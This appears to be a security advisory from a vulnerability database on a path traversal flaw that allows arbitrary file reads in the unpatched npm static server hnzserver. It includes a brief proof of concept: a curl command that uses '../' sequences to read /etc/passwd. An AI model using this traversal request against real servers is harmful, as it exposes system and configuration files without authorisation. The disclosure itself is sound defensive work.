Arbitrary File Read

Affecting hnzserver package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

hnzserver is a static server.

Affected versions of this package are vulnerable to Arbitrary File Read. Path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

PoC by lightangel1412

  • Install the module

npm install -g hnzserver

  • Run 'hnzserver in "~/Desktop" directory :

    root@kali:~/Desktop# hnzserver
    server running is :http://localhost:8888
  • Use cURL to access etc/passwd file:

$ curl --path-as-is --url 'http://127.0.0.1:8888/../../../../etc/passwd'

Remediation

There is no fixed version for hnzserver.

References

CVSS Score

7.5
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    None
  • Availability
    None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RC:C
Credit
lightangel1412
CWE
CWE-22
Snyk ID
SNYK-JS-HNZSERVER-1012733
Disclosed
24 Sep, 2020
Published
25 Sep, 2020